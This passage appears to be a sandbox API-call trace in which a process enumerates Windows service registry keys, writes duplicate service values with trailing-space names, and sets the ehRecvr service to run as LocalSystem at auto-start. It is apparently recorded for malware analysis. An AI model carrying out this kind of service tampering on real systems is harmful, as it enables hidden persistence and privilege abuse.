RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0247.379] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0247.379] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0247.379] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0247.379] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0247.379] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0247.379] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.379] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0247.379] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0247.380] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.380] RegCloseKey (hKey=0x150) returned 0x0 [0247.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0247.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0247.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0247.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0247.380] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0247.380] RegCloseKey (hKey=0x154) returned 0x0 [0247.380] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0247.380] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0247.380] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0247.380] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0247.381] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0247.381] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0247.381] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0247.381] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0247.381] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0247.492] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.492] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.492] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.492] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.492] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.492] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.492] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.492] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.492] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.492] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.493] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.493] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.493] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.493] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.493] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.493] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.493] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0247.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0247.493] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0247.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0247.493] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.494] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.495] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.495] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.495] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0247.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0247.495] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0247.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0247.495] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.495] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.495] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.495] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.495] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.495] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.496] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.496] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.496] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.496] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.496] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.496] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.496] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.496] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.496] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.496] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.496] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0247.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0247.497] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0247.497] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.497] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.497] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.497] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.497] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.497] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.497] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.497] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.497] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.497] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.498] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.498] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.498] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.498] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.498] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.498] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.498] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0247.498] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\ehome\\ehRecvr.exe" [0247.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0247.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0247.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0247.498] LocalFree (hMem=0x7e4b18) returned 0x0 [0247.498] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0247.498] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x2) returned 0x8038a0 [0247.499] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0247.500] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0247.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0247.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0247.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0247.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0247.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0247.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.500] RegCloseKey (hKey=0x154) returned 0x0 [0247.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0247.501] RegCloseKey (hKey=0xc4) returned 0x0 [0247.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0247.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0247.501] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, 